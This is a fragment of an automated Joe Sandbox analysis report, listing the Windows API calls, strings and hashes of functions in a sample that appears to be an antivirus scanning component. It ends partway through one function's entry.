FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D73
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009E19

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharErrorLastMultiWide
String ID:
API String ID: 1232609184-0
Opcode ID: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction ID: a97fb2b29f1dbdd40f84dfefdd532c69b8fe37edd6617e3b903b273dff31e607
Opcode Fuzzy Hash: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction Fuzzy Hash: 9851AEB164564046FB66DF23B8147AA66D0BB4DFE0F484625FF6A87BF1EB78C4448300

Function 0000000140002740 Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001B48
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001BE6

EnterCriticalSection.KERNEL32 ref: 00000001400027B2
LeaveCriticalSection.KERNEL32 ref: 000000014000286E
GetProcessHeap.KERNEL32 ref: 000000014000287F
HeapFree.KERNEL32 ref: 000000014000288D
GetProcessHeap.KERNEL32 ref: 000000014000289D
HeapFree.KERNEL32 ref: 00000001400028AB
GetProcessHeap.KERNEL32 ref: 00000001400028BB
HeapFree.KERNEL32 ref: 00000001400028C9
GetProcessHeap.KERNEL32 ref: 00000001400028D9
HeapFree.KERNEL32 ref: 00000001400028E7

Strings

H, xrefs: 000000014000278C

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$EnterFreeProcess$Leave
String ID: H
API String ID: 2107338056-2852464175
Opcode ID: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction ID: c1f1c0cc251b461ea163c40135a27997c94af954a8846501eddf5ed74a01cb36
Opcode Fuzzy Hash: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction Fuzzy Hash: D5513B76216B4086EBA2DF63B84439A73E5F74DBD0F098128EB9D87765EF39C4558300

Function 0000000140003200 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100timeCOMMON

Download Yara Rule

APIs

#4.VSELOG ref: 0000000140003242
EnterCriticalSection.KERNEL32 ref: 0000000140003257
LeaveCriticalSection.KERNEL32 ref: 00000001400032D9
#4.VSELOG ref: 0000000140003353

Part of subcall function 0000000140002B40: LoadLibraryW.KERNEL32 ref: 0000000140002B91
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BAD
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BC8
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BE3
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

#4.VSELOG ref: 0000000140003389
SetWaitableTimer.KERNEL32 ref: 00000001400033BE

Strings

fnCallback: hScan=%d, evId=%d, context=%p, xrefs: 000000014000323B
fnCallback: hScan=%d, putting event %d into listening threads queues, xrefs: 0000000140003372
fnCallback: hScan=%d, quarantine, result %d, xrefs: 000000014000333F

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$AddressEnterLeaveProc$LibraryLoadTimerWaitable
String ID: fnCallback: hScan=%d, evId=%d, context=%p$fnCallback: hScan=%d, putting event %d into listening threads queues$fnCallback: hScan=%d, quarantine, result %d
API String ID: 1322048431-2685357988
Opcode ID: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction ID: ba1df9fb3c509f4e652456910b8147ac8aac6905a945631cefe2604201aedb7e
Opcode Fuzzy Hash: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction Fuzzy Hash: 645106B5214B4181EB13CF16F880BD923A4E79DBE4F445622BB594B6B4DF3AC584C740

Function 0000000140003D50 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003D84
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003DA3
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E19
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E25
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E66
SetWaitableTimer.KERNEL32 ref: 0000000140003EA6

Strings

doCleanup: pid %d, removing cAmpEntry, index is %d, xrefs: 0000000140003E08
doCleanup: enter, cAmpEntry %p, xrefs: 0000000140003D76
doCleanup: pid %d, marking the cAmpEntry pointer for deletion, xrefs: 0000000140003E58

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: doCleanup: enter, cAmpEntry %p$doCleanup: pid %d, marking the cAmpEntry pointer for deletion$doCleanup: pid %d, removing cAmpEntry, index is %d
API String ID: 2984211723-3002863673
Opcode ID: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction ID: 6ce834a9fa2c46ab9e722fc1bcf1c858386cde021ca473021475461b430fce50
Opcode Fuzzy Hash: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction Fuzzy Hash: 9B4101B5214A8591EB128F07F880B9863A4F78CBE4F495226FB1D0BBB4DB7AC591C710

Function 00000001400021A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 00000001400021D4
OpenProcess.KERNEL32 ref: 00000001400021F7
#4.VSELOG ref: 000000014000223A
WaitForMultipleObjects.KERNEL32 ref: 000000014000224F
CloseHandle.KERNEL32 ref: 000000014000225A
#4.VSELOG ref: 0000000140002294

Strings

doMonitor: end process id=%d, result from WaitForMultipleObjects=%d, xrefs: 0000000140002283
doMonitor: monitoring process id=%d, xrefs: 000000014000222C
fnMonitor: monitor thread for ctx %p, xrefs: 00000001400021C6

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CloseHandleMultipleObjectsOpenProcessWait
String ID: doMonitor: end process id=%d, result from WaitForMultipleObjects=%d$doMonitor: monitoring process id=%d$fnMonitor: monitor thread for ctx %p
API String ID: 678758403-4129911376
Opcode ID: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction ID: f397f01a700ed75a1720fb106c04e764a2ecaef09c032a262f7e58a7780e1373
Opcode Fuzzy Hash: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction Fuzzy Hash: B63107B6610A4582EB12DF57F84079963A4E78CBE4F498122FB1C0B7B4DF3AC585C710

Function 0000000140001750 Relevance: 15.1, APIs: 12, Instructions: 133memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140001797
GetProcessHeap.KERNEL32 ref: 00000001400017A6
HeapAlloc.KERNEL32 ref: 00000001400017B4
lstrlenW.KERNEL32 ref: 00000001400017EC
GetProcessHeap.KERNEL32 ref: 00000001400017FB
HeapAlloc.KERNEL32 ref: 0000000140001809
lstrlenW.KERNEL32 ref: 000000014000183F
GetProcessHeap.KERNEL32 ref: 000000014000184E
HeapAlloc.KERNEL32 ref: 000000014000185C
lstrlenW.KERNEL32 ref: 000000014000188D
GetProcessHeap.KERNEL32 ref: 000000014000189C
HeapAlloc.KERNEL32 ref: 00000001400018AA

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID:
API String ID: 3424473247-0
Opcode ID: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction ID: a11592c0991bfac199573d0d609f53e0c1426f0a5ad78f28403dae96cf8670eb
Opcode Fuzzy Hash: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction Fuzzy Hash: C8513AB6701640CAE666DFA3B84479A67E0F74DFC8F588428AF4E4B721DA38D155A700

Function 0000000140012C70 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 415COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000140011270: RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

__GetUnwindTryBlock.LIBCMT ref: 0000000140012CDD
__SetUnwindTryBlock.LIBCMT ref: 0000000140012D05
__GetUnwindTryBlock.LIBCMT ref: 0000000140012D15
_SetThrowImageBase.LIBCMT ref: 0000000140012DA6

Strings

bad exception, xrefs: 0000000140012E4A
csm, xrefs: 0000000140012E97
csm, xrefs: 0000000140012D2F
csm, xrefs: 0000000140012DC1

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: BlockUnwind$BaseEntryFunctionImageLookupThrow
String ID: bad exception$csm$csm$csm
API String ID: 3766904988-820278400
Opcode ID: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction ID: ec44bdd804db6766ea80e989845e9f4c5c79a3e5de674617e5e8a62493c248da
Opcode Fuzzy Hash: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction Fuzzy Hash: 2202C17220478086EB66DB27A4447EEB7A5F78DBC4F484425FF894BBAADB39C550C700

Function 0000000140004750 Relevance: 13.6, APIs: 9, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140004A0F
LeaveCriticalSection.KERNEL32 ref: 0000000140004A1D
WaitForMultipleObjects.KERNEL32 ref: 0000000140004A44
Sleep.KERNEL32 ref: 0000000140004A75
EnterCriticalSection.KERNEL32 ref: 0000000140004A7F
SetEvent.KERNEL32 ref: 0000000140004AC5
ResetEvent.KERNEL32 ref: 0000000140004ACF
LeaveCriticalSection.KERNEL32 ref: 0000000140004AD9
WaitForMultipleObjects.KERNEL32 ref: 0000000140004B0D

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterEventLeaveMultipleObjectsWait$ResetSleep
String ID:
API String ID: 2707001247-0
Opcode ID: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction ID: f9d573460b216e7eeefce72b36cf093424a31f8579033a03516ac6dab9ef0102
Opcode Fuzzy Hash: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction Fuzzy Hash: BC3159B6304A4492EB22DF22F44479AB360F749BE4F444121EB9E07AB4DF39D489C708

Function 00007FFBC1BA4804 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFBC1BA4861

Part of subcall function 00007FFBC1BA6BC4: __GetUnwindTryBlock.LIBCMT ref: 00007FFBC1BA6C07
Part of subcall function 00007FFBC1BA6BC4: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFBC1BA6C2C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFBC1BA4939
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFBC1BA4B87
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFBC1BA4C94

Strings

csm, xrefs: 00007FFBC1BA48E2
csm, xrefs: 00007FFBC1BA495C
csm, xrefs: 00007FFBC1BA487B

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction ID: d4a1f2c31889616e877b7024582679f8314bc1f48c562e475dd94acb6948fe42
Opcode Fuzzy Hash: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction Fuzzy Hash: F0D19FB6B097428AEB209F75D4403AEB7A0FB45788F146135EE8D67B95DF38E491CB00

Function 0000000140001690 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014000169E
HeapFree.KERNEL32 ref: 00000001400016B0
GetProcessHeap.KERNEL32 ref: 00000001400016C0
HeapFree.KERNEL32 ref: 00000001400016D2
GetProcessHeap.KERNEL32 ref: 00000001400016E2
HeapFree.KERNEL32 ref: 00000001400016F4
GetProcessHeap.KERNEL32 ref: 0000000140001704
HeapFree.KERNEL32 ref: 0000000140001716
GetProcessHeap.KERNEL32 ref: 0000000140001726
HeapFree.KERNEL32 ref: 0000000140001738

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction ID: 4159c8d252e8bf7a629169213e0784b10943506046d671ff930a732f0a48acbb
Opcode Fuzzy Hash: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction Fuzzy Hash: EC1145B4915A4081F70BDF97B8187D522E2FB8DBD9F484025E70A4B2B0DF7E8499C601

Function 0000000140013710 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014001371E
HeapFree.KERNEL32 ref: 0000000140013730
GetProcessHeap.KERNEL32 ref: 0000000140013740
HeapFree.KERNEL32 ref: 0000000140013752
GetProcessHeap.KERNEL32 ref: 0000000140013762
HeapFree.KERNEL32 ref: 0000000140013774
GetProcessHeap.KERNEL32 ref: 0000000140013784
HeapFree.KERNEL32 ref: 0000000140013796
GetProcessHeap.KERNEL32 ref: 00000001400137A6
HeapFree.KERNEL32 ref: 00000001400137B8

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction ID: 56b7ada565ecb083b5892330f511bf6cd885877ef2bee609f5ffef12e4ab2997
Opcode Fuzzy Hash: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction Fuzzy Hash: E01172B4918A8081F71BDBA7B81C7D522E2FB8DBD9F444015E70A4B2F0DFBE8499C601

Function 00007FFBC1BAB86C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FFBC1BAB9E8
GetProcAddress.KERNEL32 ref: 00007FFBC1BAB9F4

Strings

ext-ms-, xrefs: 00007FFBC1BAB945
api-ms-, xrefs: 00007FFBC1BAB932

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction ID: a062cb52ae0fa94b7fb43ae1d45aefe63a836313908353468bb8b1c45ff6a9cd
Opcode Fuzzy Hash: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction Fuzzy Hash: 654118A9B1AA0255EB16CF36DA205BB2391BF09B90F48A535DD1E67794DF3CE405CB00

Function 0000000140002A00 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32 ref: 0000000140002A3C
RegQueryValueExW.ADVAPI32 ref: 0000000140002A76
RegCloseKey.ADVAPI32 ref: 0000000140002A96
EnterCriticalSection.KERNEL32 ref: 0000000140002AAB
LeaveCriticalSection.KERNEL32 ref: 0000000140002B31

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002A0D
action, xrefs: 0000000140002A52

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterLeaveQueryValue
String ID: SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 1119674940-1966266597
Opcode ID: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction ID: f124d29d71956a548941c3df06686b2c3eef24402cfc23b06ee64cf3511db711
Opcode Fuzzy Hash: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction Fuzzy Hash: 6F31F975214B4186EB22CF26F884B9573A4F78D7A8F401315FBA94B6B4DF3AC148CB00

Function 0000000140001900 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004BE7
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004BF6
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C04
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C3E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C4D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C5B
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C8E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C9D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004CAB

GetComputerNameW.KERNEL32 ref: 0000000140001991
lstrlenW.KERNEL32 ref: 000000014000199C
GetProcessHeap.KERNEL32 ref: 00000001400019AB
HeapAlloc.KERNEL32 ref: 00000001400019B9

Strings

ampIfEp, xrefs: 000000014000195E
Security=impersonation static true, xrefs: 0000000140001952
ncalrpc, xrefs: 000000014000196D

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen$ComputerName
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3702919091-996641649
Opcode ID: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction ID: 080136972d91dcf489914e021d1613250a4fb989530f4420e20b1ceb3111c88a
Opcode Fuzzy Hash: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction Fuzzy Hash: 4F212A71215B8082EB12CB12F84438A73A4F789BE8F514216EB9D07BB8DF7DC54ACB00

Function 0000000140005A70 Relevance: 12.2, APIs: 8, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000000140005A8B
GetProcessHeap.KERNEL32 ref: 0000000140005A92
HeapAlloc.KERNEL32 ref: 0000000140005AA3
GetVersionExA.KERNEL32 ref: 0000000140005AE6
GetProcessHeap.KERNEL32 ref: 0000000140005AF0
HeapFree.KERNEL32 ref: 0000000140005AFE
GetProcessHeap.KERNEL32 ref: 0000000140005B22
HeapFree.KERNEL32 ref: 0000000140005B30

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$Process$Free$AllocInfoStartupVersion
String ID:
API String ID: 3103264659-0
Opcode ID: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction ID: 8fdcf1cc106887877eb8bf0912cd84dfc65bead55acac366e092854278e1a3ce
Opcode Fuzzy Hash: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction Fuzzy Hash: 0F7167B1604A418AF767EBA3B8557EA2291BB8D7C5F084039FB45472F2EF39C440C741

Function 000000014000F3E0 Relevance: 10.7, APIs: 7, Instructions: 179COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F43A
